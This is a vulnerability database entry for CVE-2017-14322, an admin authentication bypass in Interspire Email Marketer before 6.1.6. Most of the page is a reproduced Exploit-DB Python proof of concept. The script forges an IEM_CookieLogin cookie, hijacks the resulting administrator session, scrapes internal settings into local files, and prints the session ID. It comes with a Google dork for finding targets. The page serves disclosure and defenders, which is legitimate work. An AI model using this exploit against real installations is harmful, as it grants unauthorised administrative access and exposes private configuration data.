CVE-2017-14322
Description
The function in charge to check whether the user is already logged in init.php in Interspire Email Marketer (IEM) prior to 6.1.6 allows remote attackers to bypass authentication and obtain administrative access by using the IEM_CookieLogin cookie with a specially crafted value.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Interspire Email Marketer < 6.1.6 - Remote Admin Authentication Bypass
'''
# Exploit Title: Interspire Email Marketer - Remote Admin Authentication Bypass
# Google Dork: intitle:"Control Panel" + emailmarketer
# Date: 4-22-18
# Exploit Author: devcoinfet
# Vendor Homepage: www.interspire.com/emailmarketer
# Software Link: Can't legally provide link but can be found on net
# Version: [6.1.3-6.1.6]
# Tested on: Below 6.1.6
# CVE : CVE-2017-14322
https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html
https://github.com/joesmithjaffa/CVE-2017-14322
thanks to above Researchers
1. Description
this is used like this
--------------------------
exploit.py url/email-marketer/admin/index.php
2. Proof of Concept
'''
import requests
import sys
from bs4 import BeautifulSoup
from pprint import pprint
def cookie_cutter(url):
with requests.Session() as s:
s.get(url)
r = s.get(url)
response_regex = r.text
print("requesting initial Cookie\n")
print(str(r.headers)+"\n")
for key,value in s.cookies.items():
if key and "IEMSESSIONID" in key:
s.cookies.set('IEM_CookieLogin', "YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D")
print("Attempting To Posion 2nd request with Forged Cookie\n")
print("-" * 25)
r = s.get(url)
response_regex2 = r.text
print response_regex2
print(str(r.headers) + "\n")
if response_regex != response_regex2:
for key,value in s.cookies.items():
if "IEMSESSIONID" in key:
try:
#using session riding from previous cookie we grab the info we want :)
bounce_info_grab(url,value)
app_info_grab(url,value)
privt_info_grab(url,value)
except:
pass
return value,r.text
def bounce_info_grab(url,session_to_ride):
url_grab = url+"?Page=Settings&Tab=2"
print(url_grab)
with requests.Session() as s:
s.get(url_grab)
s.cookies.set('IEMSESSIONID',session_to_ride)
r = s.get(url_grab)
response_regex = r.text
soup = BeautifulSoup(response_regex,'html5lib')
div = soup.find('div', id='div7')
outfile = open("bounce_report.txt",'w')
dataout = """<html><head>Report</head><title>Report</title>
<body>""" + str(div) +"""</body></html>"""
outfile.write(dataout)
outfile.close()
for divy in div.contents:
print(divy)
def app_info_grab(url,session_to_ride):
url_grab = url+"?Page=Settings&Tab=2"
print(url_grab)
with requests.Session() as s:
s.get(url_grab)
s.cookies.set('IEMSESSIONID',session_to_ride)
r = s.get(url_grab)
response_regex = r.text
soup = BeautifulSoup(response_regex,'html5lib')
div = soup.find('div', id='div1')
outfile = open("application_settings_report.txt",'w')
dataout = """<html><head>Report</head><title>Report</title>
<body>""" + str(div) +"""</body></html>"""
outfile.write(dataout)
outfile.close()
for divy in div.contents:
print(divy)
def privt_info_grab(url,session_to_ride):
url_grab = url+"?Page=Settings&Tab=2"
print(url_grab)
with requests.Session() as s:
s.get(url_grab)
s.cookies.set('IEMSESSIONID',session_to_ride)
r = s.get(url_grab)
response_regex = r.text
soup = BeautifulSoup(response_regex,'html5lib')
div = soup.find('div', id='div8')
outfile = open("privtlbl_settings_report.txt",'w')
dataout = """<html><head>Report</head><title>Report</title>
<body>""" + str(div) +"""</body></html>"""
outfile.write(dataout)
outfile.close()
for divy in div.contents:
print(divy)
def main():
url = sys.argv[1]
print "Evaluating Target:" +url+ """ For CVE-2017-14322"""+"\n"
print "-" * 25
try:
session_rider_value,content = cookie_cutter(url)
print "Session Has Been Generated Entering Internal Data Dumping Routine"+"\n"
print "-" * 25
print "Magic Cookie Generated Modify Existing IEMSESSIONID Value In browser With Below Value "
print "-" * 25
print session_rider_value+"\n"
print "-" * 25
except:
print "Target Is Not Vulnerable"
pass
main()
'''
When Running this, if it is succesful check for 3 files in the directory of exploit to find crucial internal configs in Html format
do not use this for bad just dont do it please.
3. Solution:
Update to version 6.1.6 atleast
http://www.interspire.com/emailmarketer
'''
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| interspire | email_marketer | {"endIncluding":"6.1.5"} | |
References
- http://seclists.org/fulldisclosure/2017/Oct/39
- https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html
- https://www.exploit-db.com/exploits/44513/
- http://seclists.org/fulldisclosure/2017/Oct/39
- https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html
- https://www.exploit-db.com/exploits/44513/
CWEs
CWE-287
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.